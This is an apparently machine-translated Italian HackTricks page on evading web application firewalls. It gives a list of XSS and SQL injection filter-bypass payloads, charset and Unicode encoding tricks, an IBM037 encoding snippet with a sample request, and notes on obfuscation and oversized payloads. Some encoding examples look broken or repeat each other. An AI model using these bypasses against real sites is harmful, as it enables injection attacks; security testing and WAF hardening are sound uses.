WAF Bypass

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Bypass Regex

Diverse tecniche possono essere utilizzate per bypassare i filtri regex sui firewall. Gli esempi includono l'alternanza delle maiuscole e minuscole, l'aggiunta di interruzioni di linea e la codifica dei payload. Le risorse per i vari bypass possono essere trovate su PayloadsAllTheThings e OWASP. Gli esempi seguenti sono tratti da questo articolo.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Codifica del Charset

La codifica del charset è un metodo utilizzato per rappresentare i caratteri di un set di caratteri specifico. Spesso, i firewall delle applicazioni web (WAF) utilizzano la codifica del charset come meccanismo di difesa per rilevare e bloccare attacchi. Tuttavia, è possibile aggirare questa protezione utilizzando alcune tecniche.

1. Codifica doppia

La codifica doppia è una tecnica che consiste nel codificare i caratteri speciali in modo da eludere la rilevazione del WAF. Ad esempio, il carattere "<" può essere codificato come "%3C" o "%253C" per evitare che il WAF lo rilevi come un tag HTML. In questo modo, è possibile inviare input dannosi senza essere bloccati dal WAF.

2. Codifica esadecimale

La codifica esadecimale è un'altra tecnica che può essere utilizzata per bypassare un WAF. In questa tecnica, i caratteri speciali vengono codificati utilizzando la notazione esadecimale. Ad esempio, il carattere "<" può essere codificato come "%3C" in notazione esadecimale. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

3. Codifica Unicode

La codifica Unicode è un metodo che consente di rappresentare i caratteri di qualsiasi set di caratteri. Questa tecnica può essere utilizzata per bypassare un WAF codificando i caratteri speciali in Unicode. Ad esempio, il carattere "<" può essere codificato come "%u003C" utilizzando la codifica Unicode. In questo modo, è possibile inviare input dannosi senza essere rilevati dal WAF.

4. Codifica URL

La codifica URL è una tecnica che consiste nel codificare i caratteri speciali utilizzando la notazione URL. Ad esempio, il carattere "<" può essere codificato come "%3C" utilizzando la codifica URL. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

5. Codifica HTML

La codifica HTML è una tecnica che consiste nel codificare i caratteri speciali utilizzando la notazione HTML. Ad esempio, il carattere "<" può essere codificato come "<" utilizzando la codifica HTML. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

6. Codifica JavaScript

La codifica JavaScript è una tecnica che consiste nel codificare i caratteri speciali utilizzando la notazione JavaScript. Ad esempio, il carattere "<" può essere codificato come "\x3C" utilizzando la codifica JavaScript. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

7. Codifica Base64

La codifica Base64 è una tecnica che consiste nel codificare i dati in modo che possano essere rappresentati utilizzando un set di 64 caratteri. Questa tecnica può essere utilizzata per bypassare un WAF codificando i caratteri speciali in Base64. In questo modo, è possibile inviare input dannosi senza essere rilevati dal WAF.

8. Codifica di caratteri non ASCII

La codifica di caratteri non ASCII è una tecnica che consiste nel codificare i caratteri speciali utilizzando caratteri non ASCII. Ad esempio, il carattere "<" può essere codificato come "%c0%bc" utilizzando la codifica di caratteri non ASCII. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

9. Codifica di caratteri HTML speciali

La codifica di caratteri HTML speciali è una tecnica che consiste nel codificare i caratteri speciali utilizzando la notazione HTML. Ad esempio, il carattere "<" può essere codificato come "<" utilizzando la codifica di caratteri HTML speciali. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

10. Codifica di caratteri URL speciali

La codifica di caratteri URL speciali è una tecnica che consiste nel codificare i caratteri speciali utilizzando la notazione URL. Ad esempio, il carattere "<" può essere codificato come "%3C" utilizzando la codifica di caratteri URL speciali. Questo rende difficile per il WAF rilevare e bloccare gli attacchi.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Oscuramento

Obfuscation is a technique used to hide or disguise the true nature of code or data. In the context of web application security, obfuscation can be used to bypass Web Application Firewalls (WAFs) that are designed to detect and block malicious traffic.

Techniques for Obfuscation

There are several techniques that can be used for obfuscation:

  1. Encoding: This involves converting the code or data into a different format that is not easily recognizable. Common encoding techniques include Base64 encoding, URL encoding, and hexadecimal encoding.

  2. Encryption: Encryption involves using an algorithm to convert the code or data into a form that can only be decrypted with a specific key. This can make it difficult for WAFs to analyze the code or data.

  3. Code obfuscation: This technique involves modifying the code to make it more difficult to understand. This can include renaming variables and functions, adding unnecessary code, and using complex control flow structures.

  4. Dynamic code generation: This technique involves generating code dynamically at runtime. By generating code on the fly, it can be more difficult for WAFs to analyze and block.

Bypassing WAFs with Obfuscation

Obfuscation can be used to bypass WAFs by making the malicious code or data appear benign or non-malicious. By encoding or encrypting the code, it can be made more difficult for the WAF to detect and block.

Additionally, code obfuscation and dynamic code generation can be used to evade detection by WAFs that rely on static analysis techniques. By modifying the code or generating it dynamically, the malicious intent can be hidden from the WAF.

It is important to note that while obfuscation can be effective in bypassing WAFs, it is not foolproof. Advanced WAFs may employ sophisticated techniques to detect obfuscated code or data. Therefore, it is important to continually update and improve obfuscation techniques to stay ahead of WAF detection mechanisms.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilità Unicode

A seconda dell'implementazione della normalizzazione Unicode (ulteriori informazioni qui), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di eludere il WAF ed eseguirsi come payload previsto. I caratteri compatibili possono essere trovati qui

Esempio

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Superare i limiti di dimensione

È comune nei WAF basati su cloud che se il payload è più grande di una certa dimensione X, la richiesta non verrà controllata dal WAF. Puoi semplicemente usarlo per eludere le protezioni.

Rotazione degli IP

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated